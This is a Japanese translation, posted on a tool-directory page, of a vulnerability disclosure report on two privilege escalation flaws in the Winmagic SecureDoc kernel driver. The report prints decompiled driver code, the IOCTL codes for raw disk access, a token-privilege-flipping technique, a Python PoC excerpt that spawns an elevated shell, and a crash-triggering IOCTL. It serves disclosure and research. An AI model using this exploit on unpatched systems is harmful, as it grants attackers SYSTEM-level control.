Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
winmagic_sd — CVE-2020-11519およびCVE-2020-11520に関する技術解説とPoCエクスプロイト | Kitploit
ツール/GitHubGitHub/patois/winmagic_sd
特権昇格脆弱性分析エクスプロイトリバースエンジニアリング論文と研究学習と教育バイナリエクスプロイト
GitHubpatois/winmagic_sd

winmagic_sd

CVE-2020-11519およびCVE-2020-11520に関する技術解説とPoCエクスプロイト

リポジトリを見る
1233年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2020-11519 および CVE-2020-11520 に関する技術レポート

日付: 2020年6月

著者: Dennis Elser (コード: github)

目次

  • はじめに
  • アプローチと技術的説明
    • CVE-2020-11519
    • CVE-2020-11520
  • 概念実証エクスプロイト
  • 開示のタイムライン
  • 解決策
  • チェックサム
  • 参考文献

はじめに

そのウェブサイトによると、Winmagic SecureDoc は「フルディスク暗号化 (FDE)、多要素認証、リムーバブルメディアコンテナ暗号化 (RMCE)、ファイルおよびフォルダー暗号化 (FFE) などの機能を効率的に活用することで、企業が IT 環境のセキュリティに対処できるようにします。これらの機能は、企業のセキュリティ強化、ビジネスリスクの軽減、ハードドライブ暗号化に関する政府および規制要件への適合に役立ちます。」

Winmagic SecureDoc 製品は、スタンドアロン版とエンタープライズ版で提供されており、バージョン 8.3 および 8.5 において、2 つのローカル権限昇格の脆弱性 (CVE-2020-11519 および CVE-2020-11520) の影響を受けます。脆弱性が 3 月下旬に Winmagic に報告された後、ベンダーは 2020年6月中旬にパッチ (バージョン 8.5SR2) をリリースしました。しかし、このパッチでは脆弱性を十分に対処できないことが判明し、8.5SR2 も報告された欠陥に対して脆弱な状態となりました。このため、脆弱性に関する技術的詳細は伏せられていましたが、それ以降、これらの欠陥は公開されたものと見なさざるを得ません。ベンダーによると、Winmagic への最初の脆弱性報告からおよそ 106 日後になっても、別のパッチがまだ準備中です。 7月15日、ベンダーへの最初の脆弱性報告から 111 日後に、Winmagic は SecureDoc v8.5 SR2 HF1 を顧客向けにリリースしました。これは CVE-2020-11519 および CVE-2020-11520 を修正するとのことです。8.3 より古いバージョンの SecureDoc はテストされていませんが、影響を受けるコンポーネントのコードに基づくと、同様に影響を受けると想定できます。

これらの脆弱性のいずれかを悪用すると、ローカルで認証された攻撃者に対し、SYSTEM への権限昇格がもたらされます。

アプローチと技術的説明

両方の脆弱性は、Winmagic SecureDoc 製品に含まれるカーネルドライバーである "SDDisk2k.sys" コンポーネントに影響します。セキュリティ上の欠陥は、Hex-Rays IDA Pro 逆アセンブラおよび逆コンパイラを用いた手動静的解析によって特定されました。振り返ってみると、これらの弱点は、代わりにファジングなどの動的テスト手法が適用されていれば、はるかに少ない労力で発見できたはずです。これは、このドライバーが制限されたユーザーモードアプリケーションからインターフェース接続できること、またデフォルトで入力が整形式であると想定しているためです。

CVE-2020-11519

"SDDisk2k.sys" ドライバーによる "SecureDocDevice" デバイスオブジェクトの安全でない作成と、適切なセキュリティ記述子を設定するコードの欠落により、制限されたユーザーアカウントでも、CreateFile() API 関数を使用してデバイスへのハンドルを取得できます。ドライバーがユーザーモードアプリケーションにデバイスオブジェクトへのハンドルを許可することにより、ここでカーネルランドの攻撃対象への直接経路が開かれます。``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }

root@kitploit:~
いくつかの「SDDisk2k.sys」ドライバの[IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)サービスハンドラをリバースエンジニアリングしたところ、そのうちの1つが、任意のドライブの生ディスクセクタの読み取りおよび書き込み操作を可能にする重要な機能を、設計上ユーザーモードに公開していることが判明した。さらに、このコードとインターフェイスを介してやり取りすることで、このドライバが、ドライブ上で以前に設定された可能性のある排他ロックを無視することも確認された。その結果、同時の読み取り/書き込み操作が可能になり、競合状態を引き起こし、データ損失のリスクを招く。

以下は、生ディスクセクタの読み取り要求を処理する、ドライバの逆コンパイルされたIOCTLサービスハンドラを示している。これは「controlled_buf」という引数を指定して関数 sub_29CD4() を呼び出す。この引数は、任意の呼び出し元ユーザーモードアプリケーションが内容を自由に選択できるバッファへのポインタである:``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

実際には、この攻撃者制御のバッファは構造体であり、そのフィールド "offset"、"length"、"ptr_buf" は、IoBuildSynchronousFsdRequest() の呼び出しに渡される完全にチェックされていない関数引数です。後者の関数は、IRP_MJ_READ I/O 要求パケット (IRP) を準備し、それを IofCallDriver() の呼び出しを使用して基盤となるファイルシステムドライバーに送信します:``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode

// advance pointer p = controlled_buf + 1;

// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);

root@kitploit:~
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

//[...snip...] }

root@kitploit:~
生のディスクセクタの読み取りと同様に、ユーザーモードからのディスクセクタの書き込みは、IOCTLハンドラ0x8D1F2820を呼び出すことで可能になります。これは同じデータ構造を処理し、同様の方法で実装されています。このドライバのプロトコルとの互換性を考慮すると、任意のユーザーモードアプリケーションがオペレーティングシステムを完全に危険にさらすことを防ぐものは何もありません。セキュアブート機構によって保護されていない限り、これにはシステムのブートプロセス中に早期に実行されることが許可されているソフトウェア(ランサムウェア、ブートキット、カスタムインプラント...)のインストールも含まれます。

### CVE-2020-11520

"SDDisk2k.sys" ドライバのサービスハンドラをさらに調査したところ、ユーザーモードアプリケーションからのメモリアドレスが事前検証なしに処理されることが明らかになりました。場合によっては、これらのポインタによってアクセスされるメモリはドライバによって盲目的に書き込まれ、攻撃者がカーネル書き込みプリミティブを作成するために悪用する可能性があります。すべての書き込みプリミティブはデータを書き込む**場所**を直接制御できますが、残念ながら、書き込む**データ**を直接制御できるものは見つかりませんでした。[CVE-2020-11519](#cve-2020-11519)を除いて、このコンテキストでの悪用にはディスク読み取り/書き込み操作による追加の回り道が必要であり、これは私が汚いアプローチと見なして回避したいと考えていたものです。しかしながら、特定のハンドラが1つ特定されました。確かにデータ自体を制御することはできませんでしたが、それでも他の手段で再利用するのに十分優れていることが判明しました。

以下の逆コンパイルされたコードは、IOCTLコード0x8d1f282cに対するドライバのサービスハンドラを示しています。ユーザー制御のバッファから16ビット整数の数値 "count" を取得し、特定の制限を超えないようにします。最後に、ポインタ "dst" は同じ制御された入力バッファから取得されますが、その後の memmove() 呼び出しに引数として渡される前に有効性がチェックされることはありません。最初は残念に思いましたが、memmove() に引数として渡される "src" バッファは制御されず、ハードコードされた文字列 ("FRNSecureDoc v4.1\0") を指しているため、悪用への有用性はある程度制限されます。明らかに、このサービスハンドラはバージョン識別子をユーザー指定可能なアドレスに書き込みます。これは、Winmagic SecurDoc の脆弱なバージョンのフィンガープリンティングにも悪用される可能性があります。``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

しかし、この完全に制御可能な "dst" アドレスをカーネル空間内の適切な場所を指すようにすると、この IOCTL ハンドラは別の用途に転用され、カーネル書き込みプリミティブになります。[1] および [2] を参照すると、"dst" がプロセスのトークンのカーネルアドレス、より正確にはオフセット 0x40 にあるその "Privileges" メンバを指すようにしてこのサービスハンドラを呼び出すと、権限昇格につながる可能性があります :)``` 0: kd> dt nt!_token ffffe40955f766b0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES [...snip...]

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
SEP_TOKEN_PRIVILEGES 構造体は、個々のビットがそれぞれ特権フラグを表すビットマスクの集合です。論理的な帰結として、SecureDoc ドライバーに、プロセス トークンの SEP_TOKEN_PRIVILEGES 構造体へバージョン文字列 "FRNSecureDoc v4.1\0" の一部を保存するよう丁寧に依頼すると、いくつかのビットが反転し、少なくとも仮説上は有用な特権が有効になることが期待できます。実際には、ドライバーにバージョン文字列の最初の 2 文字を SEP_TOKEN_PRIVILEGE 構造体の "Present" フィールドのオフセット 1 と 2 に保存させることで、多数の興味深いトークン特権が設定されます。"**F**RNSecureDoc v4.1\0" から取られた '**F**' 文字は 01000110 に等しく、したがって "Present" フィールドのビット 9 (SeTakeOwnershipPrivilege)、ビット 10 (SeLoadDriverPrivilege)、ビット 14 (SeIncreaseBasePriorityPrivilege) を設定します。'**R**' 文字は 01010010 に等しく、ビット 17 (SeBackupPrivilege)、ビット 20 (SeDebugPrivilege)、ビット 22 (SeSystemEnvironmentPrivilege) を設定します:

| ビット番号 ("Present") | 文字 | バイト         | 特権 |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## 概念実証エクスプロイト
[概念実証エクスプロイト](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) は Python で開発され、x64 Windows 10 VM に接続された [Microsoft の WinDbg カーネル デバッガー](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk) の助けを借りてデバッグされました。

この PoC エクスプロイトは、現在のプロセスのセキュリティ トークンのカーネル アドレスを取得し、とりわけ、説明した脆弱性を悪用して SeDebugPrivilege 特権を有効にします。それから、トークンの新たに昇格された特権を継承するコマンド シェルを起動します。

SeDebugPrivilege フラグが設定されていると、SYSTEM プロセスのコンテキストでシェルコードを注入して実行することが可能になります - ただし、この部分はあなたに委ねます ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

不特定多数のユーザーのデータを危険にさらさないようにするため、このPoCエクスプロイトの公開版には、CVE-2020-11519を使用して生のディスクセクタを読み書きするためのアクティブなコードは含まれていません。それでも、disk_read_raw()およびdisk_write_raw()関数の呼び出しを追加すれば、ブートセクタで実行したい任意のコード用のインストーラに簡単に変えることができます。インプラントをインストールする代わりに、tetrosをインストールして1ラウンドプレイしてみてはどうでしょうか? ;)

以下は、Proof-of-Conceptエクスプロイトを実行する前と後の、現在のプロセスのトークン特権をそれぞれ示したものです。``` C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

C:\Users\re>python3 sd_poc.py

EoP PoC for WinMagic SecureDoc 8.5

[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

root@kitploit:~
PoCエクスプロイトコードは[こちら](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py)にあります。これはWinmagic SecureDoc x64のv8.5を対象としていますが、古いバージョンでも動作する可能性があります(未テスト)。

ここまでたどり着いたものの、まだとても退屈している場合は、遠慮なくIOCTLコード 0x8D1F2848 をダイヤルしてください ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

開示のタイムライン```

Date | Comment

2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)

root@kitploit:~
## 解決方法
Winmagic SecureDoc v8.5 SR2 HF1 に更新してください。

## チェックサム
| ファイル名             | バージョン | ハッシュ (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## 参考文献
1. [LPEのためのトークン権限の悪用](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Windows 8.1 での CVE-2014-4113 の悪用](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [簡単なローカルWindowsカーネル攻撃](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [99の問題はあるが、カーネルポインタはその一つではない](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [リークされたプロセスとスレッドハンドルの悪用](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [ctypesを使用したNtQuerySystemInformationの呼び出しに関するSourceforgeのディスカッション](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [SecureDoc v8.5SR2 リリースノート](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)
ツールをダウンロード